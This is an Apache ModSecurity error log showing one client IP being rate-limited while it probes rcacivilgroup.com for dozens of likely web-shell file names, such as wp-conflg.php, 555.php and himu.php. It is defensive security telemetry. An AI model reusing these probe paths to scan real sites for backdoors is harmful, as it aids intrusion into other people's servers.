[Sun Apr 26 05:04:59.760625 2026] [:error] [pid 31273:tid 31357] [client 20.199.180.228:14429] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ae0se_hcNJEGrATcuEewIQAAAVI"]
[Sun Apr 26 05:05:00.277342 2026] [:error] [pid 31273:tid 31355] [client 20.199.180.228:14534] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xx.php"] [unique_id "ae0sfPhcNJEGrATcuEewIwAAAVA"]
[Sun Apr 26 05:05:00.794140 2026] [:error] [pid 41906:tid 41927] [client 20.199.180.228:14480] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xx.php"] [unique_id "ae0sfD3-0A3lxw9OXoDrFQAAAZM"]
[Sun Apr 26 05:05:01.291846 2026] [:error] [pid 8385:tid 8444] [client 20.199.180.228:14569] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xx.php"] [unique_id "ae0sfTOy7_J84Wx3-oxTQwAAAFQ"]
[Sun Apr 26 05:05:01.787061 2026] [:error] [pid 10315:tid 10335] [client 20.199.180.228:14517] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xx.php"] [unique_id "ae0sfaJIw2vjkleLIaB7oAAAARI"]
[Sun Apr 26 05:05:02.278246 2026] [:error] [pid 10315:tid 10340] [client 20.199.180.228:14465] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/testo.php"] [unique_id "ae0sfqJIw2vjkleLIaB7pwAAARc"]
[Sun Apr 26 05:05:02.783157 2026] [:error] [pid 10315:tid 10334] [client 20.199.180.228:14572] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/testo.php"] [unique_id "ae0sfqJIw2vjkleLIaB7qwAAARE"]
[Sun Apr 26 05:05:03.290377 2026] [:error] [pid 10315:tid 10325] [client 20.199.180.228:14558] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/testo.php"] [unique_id "ae0sf6JIw2vjkleLIaB7sAAAAQg"]
[Sun Apr 26 05:05:03.836805 2026] [:error] [pid 41906:tid 41926] [client 20.199.180.228:14475] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/testo.php"] [unique_id "ae0sfz3-0A3lxw9OXoDrJwAAAZI"]
[Sun Apr 26 05:05:04.372715 2026] [:error] [pid 41906:tid 41914] [client 20.199.180.228:14495] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/row.php"] [unique_id "ae0sgD3-0A3lxw9OXoDrKAAAAYY"]
[Sun Apr 26 05:05:04.933921 2026] [:error] [pid 8491:tid 8524] [client 20.199.180.228:14364] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/row.php"] [unique_id "ae0sgCq7I7e6CJooQM1-igAAANg"]
[Sun Apr 26 05:05:05.456940 2026] [:error] [pid 41906:tid 41921] [client 20.199.180.228:14571] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/row.php"] [unique_id "ae0sgT3-0A3lxw9OXoDrLgAAAY0"]
[Sun Apr 26 05:05:05.971681 2026] [:error] [pid 41906:tid 41909] [client 20.199.180.228:14435] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/row.php"] [unique_id "ae0sgT3-0A3lxw9OXoDrNwAAAYE"]
[Sun Apr 26 05:05:06.496511 2026] [:error] [pid 41906:tid 41916] [client 20.199.180.228:65381] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ae0sgj3-0A3lxw9OXoDrOQAAAYg"]
[Sun Apr 26 05:05:07.150903 2026] [:error] [pid 41906:tid 41913] [client 20.199.180.228:14516] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ae0sgz3-0A3lxw9OXoDrPQAAAYU"]
[Sun Apr 26 05:05:07.785787 2026] [:error] [pid 8491:tid 8518] [client 20.199.180.228:14559] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ae0sgyq7I7e6CJooQM1-jAAAANM"]
[Sun Apr 26 05:05:08.338241 2026] [:error] [pid 41906:tid 41922] [client 20.199.180.228:65394] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/555.php"] [unique_id "ae0shD3-0A3lxw9OXoDrQwAAAY4"]
[Sun Apr 26 05:05:08.925755 2026] [:error] [pid 41906:tid 41917] [client 20.199.180.228:14339] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-conflg.php"] [unique_id "ae0shD3-0A3lxw9OXoDrRgAAAYk"]
[Sun Apr 26 05:05:09.468394 2026] [:error] [pid 8491:tid 8499] [client 20.199.180.228:65459] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-conflg.php"] [unique_id "ae0shSq7I7e6CJooQM1-jwAAAMA"]
[Sun Apr 26 05:05:09.969482 2026] [:error] [pid 8385:tid 8446] [client 20.199.180.228:14492] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-conflg.php"] [unique_id "ae0shTOy7_J84Wx3-oxTSwAAAFY"]
[Sun Apr 26 05:05:24.657219 2026] [:error] [pid 41906:tid 41919] [client 20.199.180.228:14567] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ae0slD3-0A3lxw9OXoDrdQAAAYs"]
[Sun Apr 26 05:05:25.139561 2026] [:error] [pid 8491:tid 8500] [client 20.199.180.228:14576] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ae0slSq7I7e6CJooQM1-uAAAAME"]
[Sun Apr 26 05:05:25.624452 2026] [:error] [pid 8383:tid 8407] [client 20.199.180.228:14411] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ae0sldFa2S3EsATMdWOy8AAAAAo"]
[Sun Apr 26 05:05:26.276621 2026] [:error] [pid 31273:tid 31345] [client 20.199.180.228:14521] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ae0slvhcNJEGrATcuEewTgAAAUc"]
[Sun Apr 26 05:05:26.851128 2026] [:error] [pid 8385:tid 8439] [client 20.199.180.228:65407] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/444.php"] [unique_id "ae0sljOy7_J84Wx3-oxTWgAAAE8"]
[Sun Apr 26 05:05:27.370783 2026] [:error] [pid 8385:tid 8446] [client 20.199.180.228:14434] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/444.php"] [unique_id "ae0slzOy7_J84Wx3-oxTXAAAAFY"]
[Sun Apr 26 05:05:27.876335 2026] [:error] [pid 8385:tid 8442] [client 20.199.180.228:14505] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/444.php"] [unique_id "ae0slzOy7_J84Wx3-oxTXwAAAFI"]
[Sun Apr 26 05:05:28.548592 2026] [:error] [pid 8385:tid 8440] [client 20.199.180.228:14497] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/444.php"] [unique_id "ae0smDOy7_J84Wx3-oxTYAAAAFA"]
[Sun Apr 26 05:05:29.148277 2026] [:error] [pid 8390:tid 8451] [client 20.199.180.228:65394] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bnm.php"] [unique_id "ae0smYGPtFK_i9p5yxQD6AAAAIA"]
[Sun Apr 26 05:05:29.688483 2026] [:error] [pid 41906:tid 41929] [client 20.199.180.228:65392] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bnm.php"] [unique_id "ae0smT3-0A3lxw9OXoDreAAAAZU"]
[Sun Apr 26 05:05:30.260753 2026] [:error] [pid 10315:tid 10319] [client 20.199.180.228:14583] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bnm.php"] [unique_id "ae0smqJIw2vjkleLIaB7xAAAAQI"]
[Sun Apr 26 05:05:30.830448 2026] [:error] [pid 41906:tid 41925] [client 20.199.180.228:14433] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bnm.php"] [unique_id "ae0smj3-0A3lxw9OXoDrfAAAAZE"]
[Sun Apr 26 05:05:31.400468 2026] [:error] [pid 41906:tid 41910] [client 20.199.180.228:14488] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ae0smz3-0A3lxw9OXoDrfwAAAYI"]
[Sun Apr 26 05:05:31.897168 2026] [:error] [pid 41906:tid 41927] [client 20.199.180.228:10182] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ae0smz3-0A3lxw9OXoDrggAAAZM"]
[Sun Apr 26 05:05:32.448654 2026] [:error] [pid 8383:tid 8405] [client 20.199.180.228:14520] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ae0snNFa2S3EsATMdWOy9gAAAAg"]
[Sun Apr 26 05:05:32.957071 2026] [:error] [pid 8491:tid 8510] [client 20.199.180.228:14471] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/himu.php"] [unique_id "ae0snCq7I7e6CJooQM1-vwAAAMs"]
[Sun Apr 26 05:05:33.479671 2026] [:error] [pid 41906:tid 41916] [client 20.199.180.228:14428] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ae0snT3-0A3lxw9OXoDrkAAAAYg"]
[Sun Apr 26 05:05:34.119582 2026] [:error] [pid 10315:tid 10321] [client 20.199.180.228:14585] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ae0snqJIw2vjkleLIaB7xQAAAQQ"]
[Sun Apr 26 05:05:34.732539 2026] [:error] [pid 8491:tid 8509] [client 20.199.180.228:65404] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ae0sniq7I7e6CJooQM1-wgAAAMo"]
[Sun Apr 26 05:05:35.335746 2026] [:error] [pid 41906:tid 41909] [client 20.199.180.228:14519] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ae0snz3-0A3lxw9OXoDrnwAAAYE"]
[Sun Apr 26 05:05:35.902784 2026] [:error] [pid 8385:tid 8445] [client 20.199.180.228:14531] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ae0snzOy7_J84Wx3-oxTegAAAFU"]
[Sun Apr 26 05:05:36.437584 2026] [:error] [pid 41906:tid 41921] [client 20.199.180.228:14553] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ae0soD3-0A3lxw9OXoDrpgAAAY0"]
[Sun Apr 26 05:05:36.912516 2026] [:error] [pid 8390:tid 8471] [client 20.199.180.228:14590] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ae0soIGPtFK_i9p5yxQD8AAAAJQ"]
[Sun Apr 26 05:05:37.428716 2026] [:error] [pid 8385:tid 8430] [client 20.199.180.228:14466] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ae0soTOy7_J84Wx3-oxTfgAAAEY"]
[Sun Apr 26 05:05:37.973729 2026] [:error] [pid 10315:tid 10335] [client 20.199.180.228:14346] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hans.php"] [unique_id "ae0soaJIw2vjkleLIaB7yAAAARI"]
[Sun Apr 26 05:05:38.483315 2026] [:error] [pid 31273:tid 31344] [client 20.199.180.228:14394] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hans.php"] [unique_id "ae0sovhcNJEGrATcuEewWwAAAUY"]
[Sun Apr 26 05:05:39.041905 2026] [:error] [pid 8385:tid 8436] [client 20.199.180.228:14419] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hans.php"] [unique_id "ae0sozOy7_J84Wx3-oxTgwAAAEw"]
[Sun Apr 26 05:05:39.588297 2026] [:error] [pid 8390:tid 8455] [client 20.199.180.228:14550] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hans.php"] [unique_id "ae0so4GPtFK_i9p5yxQD9wAAAIQ"]
[Sun Apr 26 05:05:40.063392 2026] [:error] [pid 8491:tid 8500] [client 20.199.180.228:14447] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lgr.php"] [unique_id "ae0spCq7I7e6CJooQM1-xwAAAME"]
[Sun Apr 26 05:05:40.650678 2026] [:error] [pid 8383:tid 8420] [client 20.199.180.228:14502] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lgr.php"] [unique_id "ae0spNFa2S3EsATMdWOy_gAAABc"]
[Sun Apr 26 05:05:41.181384 2026] [:error] [pid 8390:tid 8465] [client 20.199.180.228:14410] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lgr.php"] [unique_id "ae0spYGPtFK_i9p5yxQD_QAAAI4"]
[Sun Apr 26 05:05:41.811994 2026] [:error] [pid 8383:tid 8410] [client 20.199.180.228:14579] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lgr.php"] [unique_id "ae0spdFa2S3EsATMdWOy_wAAAA0"]
[Sun Apr 26 05:05:42.339855 2026] [:error] [pid 8491:tid 8519] [client 20.199.180.228:14501] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "ae0spiq7I7e6CJooQM1-zQAAANQ"]
[Sun Apr 26 05:05:42.844843 2026] [:error] [pid 31273:tid 31339] [client 20.199.180.228:14409] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "ae0spvhcNJEGrATcuEewXgAAAUM"]
[Sun Apr 26 05:05:43.370304 2026] [:error] [pid 8491:tid 8517] [client 20.199.180.228:14487] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "ae0spyq7I7e6CJooQM1-1AAAANI"]
[Sun Apr 26 05:05:43.873345 2026] [:error] [pid 41906:tid 41928] [client 20.199.180.228:14338] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an7.php"] [unique_id "ae0spz3-0A3lxw9OXoDrzQAAAZQ"]
